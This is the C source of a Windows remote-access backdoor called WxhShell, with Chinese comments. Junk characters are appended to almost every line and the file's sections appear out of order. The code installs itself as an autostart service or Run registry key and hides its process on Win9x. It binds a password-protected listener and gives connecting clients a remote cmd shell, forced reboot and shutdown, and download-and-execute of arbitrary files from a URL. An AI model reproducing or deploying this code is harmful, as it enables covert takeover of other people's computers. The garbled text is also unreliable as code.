    if(Boot(SHUTDOWN)) A!Yqj~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ x'StD  
    else { +nZG!nP  
    closesocket(wsh); #-f^;=7  
    ExitThread(0); (gmB$pwS  
    } i,<-+L$z  
    break; U)PumU+z$u  
    } 0Gs]>B4r/  
  // 获取shell _0f[.vN  
  case 's': { <n:?WP~U  
    CmdShell(wsh); \c\=S  
    closesocket(wsh); ueg X  
    ExitThread(0); Grub1=6l  
    break; +]e4c;`ko}  
  } 5 O6MI4:  
  // 退出 w[+!c-A:H  
  case 'x': { 5;Z~+$1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ""a8eB 6  
    CloseIt(wsh); co@8w!W  
    break; lz*2wGI9  
    } @t^ 2/H ?O  
  // 离开 <|_Ey)1 6  
  case 'q': { JQ1VCG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?yU#'`q  
    closesocket(wsh); zc{C+:3$^  
    WSACleanup(); "D/ fB%h`  
    exit(1); 8`~]9ej  
    break; Tc*PDt0C  
        } k^]~NP  
  } ;i:7E#@  
  } ' #mC4\<W8  
FV9RrI2  
  // 提示信息 }*t~&l0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cs5Xd  
} p~b$+8#+  
  } w '"7~uN  
Mzd}9x$'J  
  return; :W&\})  
} {h=Ai[|l4Q  
CMr`n8M  
// shell模块句柄 7.t$#fzi  
int CmdShell(SOCKET sock) '8JaD6W9S  
{ 'YeJGzsJp  
STARTUPINFO si; OG+$F  
ZeroMemory(&si,sizeof(si)); b2Hpuej  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d]^i1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AK!G#ug  
PROCESS_INFORMATION ProcessInfo; S=2,jPX2r  
char cmdline[]="cmd"; EGt)tI&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )?WoL Ejq  
  return 0; LQjqwsuN{  
} WDZi @9X_  
vKC>t95  
// 自身启动模式 4kM<L}J#  
int StartFromService(void) 'yNp J'  
{ GND[f}  
typedef struct O+N-x8W{  
{ <gy'@w?  
  DWORD ExitStatus; 0d2%CsMS"D  
  DWORD PebBaseAddress; tFQFpbI  
  DWORD AffinityMask; $3ILVT  
  DWORD BasePriority; KOQTvJ_#  
  ULONG UniqueProcessId; Bz{ g4!ku  
  ULONG InheritedFromUniqueProcessId; /b|sv$BN  
}   PROCESS_BASIC_INFORMATION; xpk|?/6  
9wC; m:  
PROCNTQSIP NtQueryInformationProcess; k y98/6  
c>SeOnf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;GAYcVB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2$91+N*w9  
1rEP)66N  
  HANDLE             hProcess; Xwi&uyvU&  
  PROCESS_BASIC_INFORMATION pbi; TG9)x|!  
p1nA7;B-m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bq O"k t  
  if(NULL == hInst ) return 0; 1#(1Bs6X  
"J#:PfJ%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^~Sn{esA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f+V':qz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "->:6Oe2   
B (falmXJ  
  if (!NtQueryInformationProcess) return 0; ||V:',#,W  
LDsYr]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FScQS.qF  
  if(!hProcess) return 0; ?>Aff`dHY  
D6u>[Z[T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vF&b|V+,  
Nz;;X\GI  
  CloseHandle(hProcess); c0 |p34  
tp<VOUa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [P/gM3*'  
if(hProcess==NULL) return 0; &; \v_5N6  
v,&2 !Zv  
HMODULE hMod; sFQ|lU"n  
char procName[255]; b5Pn|5AVj  
unsigned long cbNeeded; Q6K)EwN  
U\ued=H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F 4/Uu"J:  
8;8}Oq  
  CloseHandle(hProcess); d3GK.8y_z  
meR2"JN'  
if(strstr(procName,"services")) return 1; // 以服务启动 M lFvDy  
jGn^<T\  
  return 0; // 注册表启动 Qx;A; n!lw  
} 7o. 'F  
3U)8P6Fz  
// 主模块 "tM/`:Qp  
int StartWxhshell(LPSTR lpCmdLine) !U_L7  
{ l i-YkaP  
  SOCKET wsl; O 0#Jl8  
BOOL val=TRUE; N+5 ^h(~  
  int port=0; gEP E9ew  
  struct sockaddr_in door; %S.U`(.  
vXbT E$  
  if(wscfg.ws_autoins) Install(); i7V~LO:gq  
Ao T7sy7  
port=atoi(lpCmdLine); L])w-  
jhv1 D' >6  
if(port<=0) port=wscfg.ws_port; EcIQ20Z_-  
\]xYV}(FO  
  WSADATA data; h>:RCpC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >nQ yF  
{M/c!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E,7~kd~y`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l{9h8]^  
  door.sin_family = AF_INET; )_cv}.xe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @ WaYU  
  door.sin_port = htons(port); 9eiBj  
l,wN@Nk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N_D+d4@  
closesocket(wsl); p'~5[JR:  
return 1; 31& .Lnq  
} u9w&q^0dqG  
Kdu\`c-lB  
  if(listen(wsl,2) == INVALID_SOCKET) { 8F`  
closesocket(wsl); x-&v|w'  
return 1;  2p>SB/  
} Y)}%SP>,  
  Wxhshell(wsl); +o]BjgG  
  WSACleanup(); "Q{~Bj~  
4/?}xD|?  
return 0; &Fjilx'k  
~uadivli  
} S7{.liHf  
% VpBB  
// 以NT服务方式启动 ~+C?][T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8"mW!M  
{ D^55:\4(  
DWORD   status = 0; a +yI2s4Z  
  DWORD   specificError = 0xfffffff; !m(L0YH  
I^(#\vRW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1Uk~m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JyC&L6[]Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?3TV:fx"X  
  serviceStatus.dwWin32ExitCode     = 0; ?VQLY=?  
  serviceStatus.dwServiceSpecificExitCode = 0; c8tC3CrKp=  
  serviceStatus.dwCheckPoint       = 0; h;qy5KS  
  serviceStatus.dwWaitHint       = 0; ^alZ\!B8  
R2THL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wx$q:$h@q  
  if (hServiceStatusHandle==0) return; FJ8@b  
K#hYbDm  
status = GetLastError(); qO{ ZZ*  
  if (status!=NO_ERROR) 2, V+?'^j  
{ y[6&46r7D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jUvA<r  
    serviceStatus.dwCheckPoint       = 0; L~y tAZ,  
    serviceStatus.dwWaitHint       = 0; 'h>5&=r  
    serviceStatus.dwWin32ExitCode     = status; lc7a@qnw   
    serviceStatus.dwServiceSpecificExitCode = specificError; M5WtGIV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /1~|jmi(  
    return; 'QojSq   
  } (0#F]""\e  
5;8B!%b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \K~fRUo]=c  
  serviceStatus.dwCheckPoint       = 0;  ;c Co+(  
  serviceStatus.dwWaitHint       = 0; aroVyUs3j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "%''k~UD 4  
} &4&33D  
.#55u+d,  
// 处理NT服务事件,比如:启动、停止 4z%#ZIy3   
VOID WINAPI NTServiceHandler(DWORD fdwControl) |( 9#vt#  
{ )S};k=kG  
switch(fdwControl) jS3(>  
{ F] ?@X  
case SERVICE_CONTROL_STOP: HJaw\zbL  
  serviceStatus.dwWin32ExitCode = 0; kEhm'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ct4 [b|  
  serviceStatus.dwCheckPoint   = 0; E? eWv)//  
  serviceStatus.dwWaitHint     = 0; }?]yxa~  
  { [~c'|E8Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <o!&Kk9  
  } :q64K?X  
  return; rp @  
case SERVICE_CONTROL_PAUSE: RF~Ofi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^qGA!_  
  break; bk"k&.C^+  
case SERVICE_CONTROL_CONTINUE: 15KV} ){  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M&/aJRBS  
  break; wK'!xH^  
case SERVICE_CONTROL_INTERROGATE: OssR[$69  
  break; TT2cOw  
}; k l!?/M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +6hl@Fm(  
} EEs-&  
WAB0e~e:|Q  
// 标准应用程序主函数 }PQSCl^I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r}0C8(oq  
{ AR~$MCR]"k  
=v4r M0m,  
// 获取操作系统版本 sCtw30BL  
OsIsNt=GetOsVer(); 7e c0Xh1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p/k<wCm6  
poQdI?ed,  
  // 从命令行安装 mw(c[.*%  
  if(strpbrk(lpCmdLine,"iI")) Install(); /pN'K5@  
a We Bav}_  
  // 下载执行文件 ~z K@pFeH  
if(wscfg.ws_downexe) { ihiuSF<NaQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) twtkH~`"Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); Bhu@ 2KdA  
} u-QO>3oY6  
E {KS a  
if(!OsIsNt) { g+}s:9  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;EJPrDHTk  
HideProc(); aM{@1m Bm  
StartWxhshell(lpCmdLine); 8pk#sJ51  
} f(6UL31  
else 8wX+ZL: 9  
  if(StartFromService()) Z.:<TrN  
  // 以服务方式启动 Q^lQi\[  
  StartServiceCtrlDispatcher(DispatchTable); kOAY@a  
else UXwB$@8  
  // 普通方式启动 B)rr7B  
  StartWxhshell(lpCmdLine); UW hn1N  
,rZn`9  
return 0; 5:%..e`T  
} B6ed,($&  
sq~+1(X  
ESD<8 OR  
9p2>`L  
=========================================== 6Lg!L odu  
Any Zi'  
]l=O%Ev  
eu}Fd@GO  
B;GxfYj  
T9z4W]T  
" fW.GNX8  
,@Fgr(?'`>  
#include <stdio.h> 9fP) Fwih  
#include <string.h> =R&)hlm  
#include <windows.h> }dX/Y /  
#include <winsock2.h> ~v2V`lxh  
#include <winsvc.h> r(: 8!=~K  
#include <urlmon.h> w%3Fg~Up  
/v"6BU  
#pragma comment (lib, "Ws2_32.lib") ls"b#eFC#  
#pragma comment (lib, "urlmon.lib") ovd^,?ib  
5pRY&6So  
#define MAX_USER   100 // 最大客户端连接数 ua`6M  
#define BUF_SOCK   200 // sock buffer z;dcAdz9  
#define KEY_BUFF   255 // 输入 buffer k,,!P""  
731h ~x!u  
#define REBOOT     0   // 重启 (0E U3w?]  
#define SHUTDOWN   1   // 关机 Hz}+SAZ  
&Y,Q>bu  
#define DEF_PORT   5000 // 监听端口 -F"d0a,  
G{kj}>kS_  
#define REG_LEN     16   // 注册表键长度 ^:4L6  
#define SVC_LEN     80   // NT服务名长度 (Sth:{;  
H>?:U]  
// 从dll定义API J>=1dCK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k42b:W5%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Es'-wr\Hm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :be:-b%K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  Y*@|My`  
!8xKf*y  
// wxhshell配置信息 zmf"I[)  
struct WSCFG {  3L%WVCB  
  int ws_port;         // 监听端口 ,IIZ Xl@  
  char ws_passstr[REG_LEN]; // 口令 i8Fs0U4"  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5<89Af&&K8  
  char ws_regname[REG_LEN]; // 注册表键名 cMDRWh  
  char ws_svcname[REG_LEN]; // 服务名 2GSgG.%SSM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k)`$%[K8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !0Idp%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HEBqv+bG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z)mX,=p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v9%nau4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /Q?~Q0{)es  
dgS4w@)@V;  
}; )xB$LJM8  
dh&W;zs  
// default Wxhshell configuration =~J"kC  
struct WSCFG wscfg={DEF_PORT, Ovv ny$  
    "xuhuanlingzhe", `Kh]x9Z  
    1, tM&n3MWQ  
    "Wxhshell", *(k%MTG  
    "Wxhshell", i"L }!5  
            "WxhShell Service", QU:EY'2  
    "Wrsky Windows CmdShell Service", k/G7.)C  
    "Please Input Your Password: ", NEA_Plt  
  1, 79D=d'e A  
  "http://www.wrsky.com/wxhshell.exe", E{uf\Fc   
  "Wxhshell.exe"  bH*@,EE  
    }; 42fprt  
Q[M (Wqg  
// 消息定义模块 (lb6]MtTHY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R6`*4z S  
char *msg_ws_prompt="\n\r? for help\n\r#>";  bRNK.[|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; On=u#DxQ  
char *msg_ws_ext="\n\rExit."; u7HvdLql  
char *msg_ws_end="\n\rQuit."; %yiD~&  
char *msg_ws_boot="\n\rReboot..."; |/VL35b  
char *msg_ws_poff="\n\rShutdown..."; Uz 0W <u3v  
char *msg_ws_down="\n\rSave to "; #(6) ^ (  
vYDSu.C@a  
char *msg_ws_err="\n\rErr!"; &vCeLh:s  
char *msg_ws_ok="\n\rOK!"; ]/Vh{d|I&  
)s7bJjT0=X  
char ExeFile[MAX_PATH]; V1<ow'^i  
int nUser = 0; %`#G92Z_  
HANDLE handles[MAX_USER]; C\ vC?(n  
int OsIsNt; t9.,/o,  
j'+ELKQ  
SERVICE_STATUS       serviceStatus; A t{U~^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :q^R `8;(t  
;{k=C2  
// 函数声明 BRb\V42i;  
int Install(void); 20aZI2sk`  
int Uninstall(void); {LP b))  
int DownloadFile(char *sURL, SOCKET wsh);  EZ<80G  
int Boot(int flag); 5G#$c'A{4  
void HideProc(void); 6 mCq/$  
int GetOsVer(void); :G-1YA  
int Wxhshell(SOCKET wsl); F;u7A]H^  
void TalkWithClient(void *cs); wUoiXi09  
int CmdShell(SOCKET sock); |zq4*  5  
int StartFromService(void); Bz+.Qa+  
int StartWxhshell(LPSTR lpCmdLine); 2{-!E ^g  
Vo,[EVL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4U?<vby  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U/Wrh($ #4  
-/>9c-F  
// 数据结构和表定义 "V4Q2T T  
SERVICE_TABLE_ENTRY DispatchTable[] = vt.P*Z5  
{ cGNvEM(4AV  
{wscfg.ws_svcname, NTServiceMain}, Q"%S~&#'  
{NULL, NULL} qe$33f*  
}; RvyuGU  
O~27/  
// 自我安装 QdDObqVdy  
int Install(void) 9~c~E/4!  
{ 1AF%-<`?s  
  char svExeFile[MAX_PATH]; >SoO4i8  
  HKEY key; /v|Onq1Y4  
  strcpy(svExeFile,ExeFile); D+sQPymI  
Lz@$3(2  
// 如果是win9x系统,修改注册表设为自启动 :&qhJtGo  
if(!OsIsNt) { k#C f})  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GAw(mH*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U&P{?>{u  
  RegCloseKey(key); O$qtq(Q%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /kB|1gFj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  DtWxr  
  RegCloseKey(key); Q(Gyq:L=>  
  return 0; ([R")~`(l2  
    } _({@B`N}  
  } KlN/\N\  
} XE1$K_m  
else { vT c7an6fy  
H_w%'v&  
// 如果是NT以上系统,安装为系统服务 l4vTU=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4(=kE>n}  
if (schSCManager!=0) oQT2S>cm^  
{ E1  |<Pt  
  SC_HANDLE schService = CreateService "_< 9PM1t  
  ( 8[zb{PRu  
  schSCManager, >;4!O%F  
  wscfg.ws_svcname, M-J<n>hl  
  wscfg.ws_svcdisp, sb^mLH] 3  
  SERVICE_ALL_ACCESS, l!?yu]Yon  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !`&\Lx_  
  SERVICE_AUTO_START, OQp, 3 M{_  
  SERVICE_ERROR_NORMAL, NF+<#*1  
  svExeFile, FI"HJwAs  
  NULL, L0Y0&;y|R  
  NULL, l%~lz[  
  NULL, @g-G =Ba  
  NULL, sI,W%I':d  
  NULL PcC/_+2  
  ); nPFwPk8=M  
  if (schService!=0) xJc$NV-JzK  
  { E]I$}>k  
  CloseServiceHandle(schService); gCuAF$o  
  CloseServiceHandle(schSCManager); ?Go!j?#a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aD9q^EoEs  
  strcat(svExeFile,wscfg.ws_svcname); Wd8R u/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @;iXp>&&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6L9, 'Bg  
  RegCloseKey(key); *k [J6  
  return 0; &|9.}Z8U  
    } &Z;_TN9[  
  } T95t"g?p  
  CloseServiceHandle(schSCManager); W .I\J<=V  
} dNiH|-$an  
} ; s|w{.<:  
eC! #CK  
return 1; 3mO;JXd  
} m$wlflt  
]~0}=,H$N  
// 自我卸载 5~'IKcW<  
int Uninstall(void) !eI2 r   
{ ]< XR]FHx)  
  HKEY key; v^N`IJq  
~"K ,7sw!Y  
if(!OsIsNt) { O o8qyW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +=BAslk  
  RegDeleteValue(key,wscfg.ws_regname); ;65D  
  RegCloseKey(key); y(W|eBe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZU{4lhe  
  RegDeleteValue(key,wscfg.ws_regname); 9GU]l7C=z  
  RegCloseKey(key); =*Z5!W'd  
  return 0; 4!.(|h@  
  } ,q#0hy%5/  
} ]:ZdV9`  
} upy\gkpnGO  
else { //f  
t2>fmQIQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LWnR?Qve<  
if (schSCManager!=0) VT%:zf  
{ k; ZxY"^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4x;_AN  
  if (schService!=0) ;*2>ES  
  { S( ^.?z  
  if(DeleteService(schService)!=0) { x,n,Qlb  
  CloseServiceHandle(schService); ~P .I<  
  CloseServiceHandle(schSCManager); ?r=jF)C<'  
  return 0; r(h`XMsU  
  } aEt/NwgiQ  
  CloseServiceHandle(schService); 5jB* fIz  
  } UUc8*yU)  
  CloseServiceHandle(schSCManager); NSQp< m  
} 0Ua%DyJ  
} >&:NFq-  
)%d*3\Tsd  
return 1; ntVS:F  
} CW&.NT  
2`G OJ,$  
// 从指定url下载文件 eE GfM0  
int DownloadFile(char *sURL, SOCKET wsh) vy9 w$ls  
{ )2IH 5  
  HRESULT hr; [ic870_  
char seps[]= "/"; O@V%Cu  
char *token; f+_h !j  
char *file; Z?5V4F:f  
char myURL[MAX_PATH]; =O).Lx2J  
char myFILE[MAX_PATH]; "A$!, PX6  
` Ag{)  
strcpy(myURL,sURL); **3 z;58i  
  token=strtok(myURL,seps); 9iUrnG*  
  while(token!=NULL) vw,rF`LjZ  
  { p Z: F:  
    file=token; TS2ZF{m  
  token=strtok(NULL,seps); @Fp_^5  
  } EJ@p-}I!  
4db(<h  
GetCurrentDirectory(MAX_PATH,myFILE); o1cErI&q"  
strcat(myFILE, "\\"); ~Wo)?q8UY,  
strcat(myFILE, file); Y_woKc*  
  send(wsh,myFILE,strlen(myFILE),0); -h|B1*mt  
send(wsh,"...",3,0); !8NC# s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G 0%6ch^%  
  if(hr==S_OK) %w7u]-tR  
return 0; C?Bl{4-P}*  
else %h?x!,q Y  
return 1; !$-\;<bZw  
YG [;"QR  
} Qx;\USv  
U4aU}1RKz  
// 系统电源模块 /='. 4 v  
int Boot(int flag) ]vWKR."4  
{ VXIP0p@  
  HANDLE hToken; z|EEVNFd&  
  TOKEN_PRIVILEGES tkp; Y2o?gug  
$6OkIP.  
  if(OsIsNt) { g L_Y,A~Q{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bp8'pj;~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F *FwRj  
    tkp.PrivilegeCount = 1; }by;F9&B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^?7`;/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;r_F[E2z  
if(flag==REBOOT) { Dn&D!B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8V^oP] Y  
  return 0; =6"2UC&  
} QUU;g2k  
else { vVE2m=!v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P:30L'.=[  
  return 0; 5?hw !  
} wr[,  
  } At7>V-f}  
  else { &l3iV88  
if(flag==REBOOT) { UfN&v >8f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KMI_zhyB  
  return 0; 0"CG7Vg,zh  
} ^*P%=>zO  
else { LaQ-=;(`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yKYTi3_(  
  return 0; Hemq +]6^  
} 5R(/Uiv3F  
} WI?oSE w  
u%w`:v7Yo(  
return 1; {&jb5-*f  
} v?KC%  
M$Zcn#A  
// win9x进程隐藏模块 D6>HN[D"  
void HideProc(void) Vx~,Uex0+  
{ b0lq\9  
$2W%2rZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (p2K36,9m  
  if ( hKernel != NULL ) :x tXQza"-  
  { :yUEkm8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N5a*7EJv+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bbrXgQ`s+w  
    FreeLibrary(hKernel); c-B cA  
  } vI>>\ .ED  
.zi_[  
return;  o4|M0  
} !o:f$6EA~C  
SQX:7YF~  
// 获取操作系统版本 RhncBKm*M  
int GetOsVer(void) Ney/[3 A  
{ 8C*c{(4  
  OSVERSIONINFO winfo; SHe49!RA'{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^s|6vd;PD=  
  GetVersionEx(&winfo); S:h{2{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xai*CY@cQ  
  return 1; _f$^%?^  
  else : Zlwp6  
  return 0; ;M)QwF1  
} z6*X%6,8  
N@t|7~  
// 客户端句柄模块 FoN|i"*l  
int Wxhshell(SOCKET wsl) Tj:B!>>  
{  R}O_[  
  SOCKET wsh; $<}$DH_Y  
  struct sockaddr_in client; tfj:@Z5&$C  
  DWORD myID; Qk:Y2mL  
8fl`r~bqZ  
  while(nUser<MAX_USER) wne,e's}   
{ /;oX)]W  
  int nSize=sizeof(client); "N`[r iq{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kqFP)!37  
  if(wsh==INVALID_SOCKET) return 1; '<"s \,  
@7IIM{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ` @`CG[-9  
if(handles[nUser]==0) 3kybLOG  
  closesocket(wsh); )h7<?@wv&  
else e)d`pQ6  
  nUser++; <J) ]mh dm  
  } '@_d(N1jTw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |olA9mp|]  
nAv#?1cjz  
  return 0; aDU<wxnSvO  
} |?,A]|j  
1q7|OWFT  
// 关闭 socket 'uBu6G  
void CloseIt(SOCKET wsh) N sXHO  
{ 8WXQ Oo8  
closesocket(wsh); aAD^^l#  
nUser--; ]n6#VTz*  
ExitThread(0); ]s<[D$ <,  
} t'n pG}`tE  
fU/>z]K  
// 客户端请求句柄 )Y"+,$$>Y`  
void TalkWithClient(void *cs) EV]1ml k$  
{ hgPa6Kd  
fD[*_^;h)  
  SOCKET wsh=(SOCKET)cs; ;r<^a6B  
  char pwd[SVC_LEN]; F1*>y  
  char cmd[KEY_BUFF]; IxY|>5z  
char chr[1]; b,7k)ND1F  
int i,j; pM4 :#%V  
Mk"^?%PxT  
  while (nUser < MAX_USER) { H?yK~bGQ  
,Lr. 9I.  
if(wscfg.ws_passstr) { "\w 7q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g6j?,c|y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9jM}~XvV  
  //ZeroMemory(pwd,KEY_BUFF); >*35C`^  
      i=0; (A9Fhun  
  while(i<SVC_LEN) { *4\:8  
;U/&I3dzV  
  // 设置超时 "\: `/k3  
  fd_set FdRead; +r2+X:#~T  
  struct timeval TimeOut; ]d$8f  
  FD_ZERO(&FdRead); "@V Y  
  FD_SET(wsh,&FdRead); j()7_  
  TimeOut.tv_sec=8; (ZUHvvL  
  TimeOut.tv_usec=0; oB(?_No7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,Vc6Gwm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Tp?7_}tRi  
6m}Ev95  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rV` #[d  
  pwd=chr[0]; J,'M4O\S  
  if(chr[0]==0xd || chr[0]==0xa) { 'j#*6xD  
  pwd=0; A8muQuj]~~  
  break; p|U?86 t  
  } fK>L!=Q  
  i++; 9+Np4i@  
    } Cio 1E-4  
 -*1d!  
  // 如果是非法用户,关闭 socket f,U.7E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?gA 8x  
} )|ju~qbf  
P) Jgs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]C!gQq2'a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u-QB.iQ+s  
ha]VWt%}  
while(1) { ]E5o1eeg  
xQ f*  
  ZeroMemory(cmd,KEY_BUFF); BtkOnbz8X  
3#3n!(  
      // 自动支持客户端 telnet标准   `V}q-Zdy  
  j=0; t% d Z-Ym  
  while(j<KEY_BUFF) { 0yk]o5a++  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rD*jp6Cl  
  cmd[j]=chr[0]; (nQ^  
  if(chr[0]==0xa || chr[0]==0xd) { p $S*dr  
  cmd[j]=0; 94'&b=5+  
  break; y6(Z`lx  
  } 5'OrHk;u  
  j++; 3#LlDC_WC  
    } 8I=2lK  
=9H7N]*h  
  // 下载文件 Vr3Zu{&2  
  if(strstr(cmd,"http://")) { KjD/o?JUr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x[ SDl(<@;  
  if(DownloadFile(cmd,wsh)) 7`*h2 mgY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ROH|PKb7  
  else g9 .Q<JwO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .73X3`P25  
  } ( >LF(ll  
  else { A#e%^{q$  
